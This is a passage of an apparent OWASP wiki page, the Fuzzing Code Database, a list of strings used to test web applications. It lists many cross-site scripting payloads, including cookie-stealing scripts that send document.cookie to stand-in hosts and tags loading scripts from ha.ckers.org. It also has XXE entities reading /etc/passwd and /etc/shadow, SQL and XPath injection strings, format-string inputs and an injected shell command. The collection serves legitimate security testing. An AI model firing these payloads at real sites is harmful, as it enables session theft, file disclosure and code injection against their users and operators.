ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80081 2010-03-17T21:14:38Z

<p>Adam.muntner: /* Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863 */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 